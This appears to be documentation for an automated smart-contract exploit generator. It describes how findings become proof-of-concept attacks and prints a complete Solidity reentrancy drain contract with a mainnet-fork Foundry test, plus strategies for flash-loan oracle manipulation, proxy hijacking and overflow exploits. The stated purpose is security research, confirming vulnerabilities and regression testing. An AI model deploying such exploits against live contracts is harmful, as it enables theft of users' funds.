Automated Exploit Generation
From Detection to Proof-of-Concept in Minutes
How the exploit generator synthesizes executable proof-of-concept transactions from vulnerability findings—covering reentrancy, integer arithmetic, access control, oracle manipulation, and delegatecall hijacking.
Automated Exploit Generation
Static analysis tools produce findings. Exploit generation produces proof. The distinction is practical: a reentrancy flag tells you that an unsafe call/store ordering exists somewhere. A working Foundry test case that extracts 47 ETH tells you whether the contract is actually exploitable, how much is at risk, and exactly what transaction sequence to run—and to fix.
This document describes how the exploit generator takes a vulnerability finding and synthesizes that test case.
The Gap Between Detection and Confirmation
When a static detector flags a vulnerability, several questions remain open:
- Are the preconditions for the vulnerability actually satisfiable at runtime?
- What are the concrete input values?
- How much value is extractable—or does the vulnerable code path even touch user funds?
- Is there a check the static analysis missed that would prevent exploitation?
Static analysis cannot reliably answer these questions. A tool that checks program structure can find the pattern but cannot determine what happens when the code executes against real contract state with real inputs. Exploit generation answers them empirically by actually running the attack.
This also makes remediation more efficient. A developer with a failing test case can iterate on a fix and verify it works when the test passes. That feedback loop is faster and more reliable than checking source code against a textual vulnerability description.
Pipeline Overview
Exploit synthesis goes through five stages: characterization, state extraction, strategy selection, script generation, and concrete validation.
flowchart TD
classDef process fill:#1a2233,stroke:#7ea8d4,stroke-width:2px,color:#c0d8f0
classDef data fill:#332a1a,stroke:#d4b870,stroke-width:2px,color:#f0e0c0
classDef highlight fill:#332519,stroke:#e8a87c,stroke-width:2px,color:#f0d8c0
classDef success fill:#1a331a,stroke:#a8c686,stroke-width:2px,color:#c8e8b0
classDef attack fill:#331a1a,stroke:#d97777,stroke-width:2px,color:#f0c0c0
A["Vulnerability Finding\n(from static detectors)"]:::data
B["Characterization\nExploit class, preconditions,\nvulnerable function"]:::process
C["State Extraction\nContract balances, storage slots,\nRPC queries at target block"]:::process
D["Strategy Selection\nChoose exploit pattern\nfor vulnerability class"]:::process
E["Script Generation\nSolidity exploit contract\n+ Foundry test case"]:::attack
F["Fuzzing Refinement\nInput mutation to maximize\nextraction amount"]:::process
G["Concrete Validation\nFork + execute against\nmainnet state"]:::process
H["Confirmed Exploit\nPoC contract, extraction amount,\nattack transcript"]:::success
A --> B --> C --> D --> E --> F --> G --> H
Stage 1: Characterization
The first stage categorizes the finding and extracts the information needed to build an attack:
- Exploit class: reentrancy, integer overflow/underflow, access control bypass, delegatecall hijacking, oracle manipulation, or flash loan attack
- Entry function: the contract function the attacker calls to initiate the exploit
- Vulnerable location: the specific operation being exploited—the
SSTOREthat is bypassed, the arithmetic that overflows, the unguarded upgrade function - Preconditions: what state must exist for the exploit to succeed—minimum balance, specific storage values, timing constraints
- Extraction mechanism: how value moves from the victim contract to the attacker
Stage 2: State Extraction
The validity of a generated exploit depends on actual contract state. An extraction exploit assuming a contract holds 1,000 ETH is misleading if the contract currently holds 0.1 ETH.
The generator queries contract state via RPC at the analysis block height:
- Contract ETH balance (maximum extractable)
- Token balances for ERC-20, ERC-721, and ERC-1155 holdings
- Storage slot values for access control state (owner, roles, pause status)
- Protocol-relevant state (oracle prices, liquidity depths, collateral ratios)
This snapshot becomes the fork initialization parameters in the generated test, anchoring the exploit to realistic conditions.
Stage 3: Strategy Selection
Each vulnerability class has a corresponding exploit strategy—a transaction sequence that exploits the vulnerability. The strategy library covers each supported class:
Reentrancy: The attacker contract implements a receive function that calls back into the victim during ETH receipt. Recursion depth is calculated against the remaining gas budget to drain the target balance without running out of gas.
Integer overflow/underflow: The strategy identifies inputs that produce the vulnerable boundary value. For pre-Solidity-0.8 underflow, subtracting balance + 1 from balance wraps to type(uint256).max. The strategy constructs inputs that trigger this wrap and then exploits the resulting inflated balance.
Access control bypass: Often the simplest strategy—a direct call to the unprotected function with valid parameters pulled from current contract state. For unprotected proxy initializers, the strategy calls the implementation’s initializer directly (not through the proxy), setting owner to an attacker-controlled address, then calls privileged functions through the proxy.
Oracle manipulation: Uses a flash loan to move a manipulated price oracle to the threshold value that causes the victim protocol to make a faulty decision, executes the vulnerable call, then repays the flash loan.
Delegatecall hijacking: Deploys a malicious implementation contract and calls the proxy’s unguarded upgrade function to redirect to it, then executes privileged operations through the proxy.
Stage 4: Script Generation
With strategy and state resolved, the generator produces two artifacts.
Solidity exploit contract: A complete, compilable contract implementing the attack. For a reentrancy vulnerability in a lending pool:
// Generated for security research
// Vulnerability: Classic Reentrancy in withdraw()
// Target: 0x1234...abcd (Lending Pool)
// Estimated extraction: 47.3 ETH
interface IVulnerablePool {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balanceOf(address user) external view returns (uint256);
}
contract ReentrancyExploit {
IVulnerablePool public target;
uint256 public depth;
uint256 public maxDepth;
constructor(address _target) {
target = IVulnerablePool(_target);
}
function attack() external payable {
target.deposit{value: msg.value}();
maxDepth = address(target).balance / msg.value;
target.withdraw(msg.value);
}
receive() external payable {
if (depth < maxDepth && address(target).balance >= msg.value) {
depth++;
target.withdraw(msg.value);
}
}
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}
Foundry test case: Forks mainnet at the analysis block height, deploys the exploit contract, and runs the attack in an isolated environment with assertions that verify extraction occurred:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
contract ReentrancyExploitTest is Test {
// Forked at block 19_234_567 — contract balance: 47.3 ETH
uint256 constant FORK_BLOCK = 19_234_567;
address constant TARGET = 0x1234...abcd;
ReentrancyExploit exploit;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), FORK_BLOCK);
exploit = new ReentrancyExploit(TARGET);
vm.deal(address(exploit), 1 ether);
}
function testExploit() public {
uint256 attackerBalanceBefore = address(this).balance;
uint256 targetBalanceBefore = address(TARGET).balance;
exploit.attack{value: 1 ether}();
exploit.withdraw();
assertGt(address(this).balance, attackerBalanceBefore);
assertLt(address(TARGET).balance, targetBalanceBefore);
emit log_named_uint("ETH Extracted", address(this).balance - attackerBalanceBefore);
}
}
Stage 5: Fuzzing Refinement and Validation
The initial strategy produces a working attack, not necessarily the optimal one. Targeted fuzzing refines the parameters:
- Recursion depth (reentrancy): binary search over the depth that maximizes extraction without reverting out-of-gas
- Input values (arithmetic): mutation over the space of boundary inputs to find the most favorable wrap
- Transaction sequences (multi-step): exploration of ordering and parameterization variations to maximize impact or minimize required capital
After refinement, the exploit executes against the forked chain. Validation records success or failure, state changes (storage modifications, balance changes), extraction amount, gas cost, and revert messages for failed attempts.
Successful validation elevates the finding’s confidence to maximum and updates severity if the extracted amount exceeds the static estimate. Failed validation provides diagnostics that distinguish true false positives from missed preconditions.
Flash Loan Integration
Flash loans give attackers momentary access to large pools of capital without owned collateral. Most DeFi attacks in 2020–2024 used flash loans as a component. The exploit generator integrates with Aave and Uniswap V3 flash loan interfaces to produce realistic leveraged attack scripts.
flowchart LR
classDef system fill:#1a3333,stroke:#5ba8a8,stroke-width:2px,color:#c0e8e8
classDef attack fill:#331a1a,stroke:#d97777,stroke-width:2px,color:#f0c0c0
subgraph "Flash Loan Attack (single transaction)"
A["Attacker Contract"]:::attack
B["Aave / Uniswap V3\nFlash Loan Provider"]:::system
C["Price Oracle\n(DEX)"]:::system
D["Victim Protocol\n(Lending Pool)"]:::system
A -->|"1. requestFlashLoan(1M USDC)"| B
B -->|"2. executeCallback(1M USDC)"| A
A -->|"3. manipulatePrice()"| C
C -.->|"price now manipulated"| A
A -->|"4. borrow(all collateral)"| D
D -.->|"accepts manipulated price"| A
A -->|"5. repay(1M USDC + fee)"| B
end
For oracle manipulation vulnerabilities, the generator:
- Computes how much capital moves the oracle price to the exploitable threshold
- Selects a flash loan provider with sufficient liquidity for that amount
- Constructs the flash loan callback to execute price manipulation and vulnerability exploitation in sequence
- Includes flash loan repayment and profit extraction in the same callback
The output is a self-contained script that matches how real attackers operate—all within a single transaction.
Exploit Classes in Detail
Reentrancy: The generator handles single-function, cross-function, and cross-contract variants (including ERC-777 token hooks and ERC-1155 batch transfer callbacks). Cross-function reentrancy requires identifying the shared storage state accessed by both the calling and callback functions and constructing the callback to exploit the inconsistency while state is mid-update.
Integer arithmetic: Pre-Solidity-0.8 contracts without SafeMath are vulnerable to subtraction underflow and addition overflow. The generator identifies the exact boundary values and verifies the wrap before constructing the extraction step.
Access control bypass: A direct call to an unguarded function with parameters drawn from current state. These are the simplest exploits to generate and also the easiest to fix.
Delegatecall hijacking: When a proxy’s upgrade mechanism lacks access control, the generator deploys a minimal malicious implementation containing the desired privileged operation and calls the upgrade function to redirect the proxy to it.
Oracle manipulation: The generator computes the price threshold and required capital, then constructs the flash loan sequence. The key calculation is how much capital is needed to move a constant-product AMM price to the threshold value, accounting for price impact.
Output Formats
Generated exploits are available in multiple formats:
- Foundry test cases (
.t.sol): Run withforge test --fork-url $ETH_RPC_URLto validate against live network state - Hardhat scripts: Equivalent functionality for teams using Hardhat
- Raw transaction sequences: Ordered lists with calldata, value, and expected state changes, for integration with custom tooling
- Attack transcripts: Plain-language descriptions of each step, suitable for security reports and disclosure communications
Limitations
Not all vulnerability classes have automated exploit templates. Business logic vulnerabilities that require understanding protocol economics, governance attacks requiring coordinated voting blocks, and vulnerabilities with extremely complex preconditions may be detected but not automatically exploited.
Generated but unvalidated exploits carry lower confidence. When RPC is unavailable or preconditions cannot be satisfied at the analysis block, the generator produces a script but marks it unconfirmed. These require manual review before use.
Exploit scripts are for security research and remediation. The appropriate uses are: confirming whether a detected vulnerability is exploitable before disclosure, demonstrating impact to a protocol team, testing whether a fix is effective, and adding the generated test as a regression case. Once a vulnerability is fixed, the exploit that previously succeeded should fail—making it a permanent regression test for that vulnerability class.
Workflow in Practice
The exploit generator is the final confirmation step in the three-phase analysis pipeline:
- CST scan (< 1 second): e-graph pattern matching identifies potential vulnerability patterns
- Static analysis (< 10 seconds): full detector suite confirms patterns with context-sensitive filtering
- Exploit generation (< 2 minutes): for high-confidence findings, synthesizes and validates proof-of-concept transactions
- Manual review: researcher examines the confirmed exploit and prepares disclosure documentation
- Fix validation: after remediation, re-run the exploit against patched code
The time from finding to confirmed exploit, for a supported vulnerability class against a contract with RPC access, is typically under two minutes. Without automation, the same work takes hours to days of manual exploitation research.
References
- Smart Contract Weakness Classification (SWC) Registry
- EVM Opcodes Reference
- Mossberg, M. et al. “Manticore: A User-Friendly Symbolic Execution Framework for Binaries and Smart Contracts.” IEEE ASE 2019.
- Grieco, G. et al. “Echidna: Effective, Usable, and Fast Fuzzing for Smart Contracts.” ISSTA 2020.
- Foundry: Ethereum Development Toolkit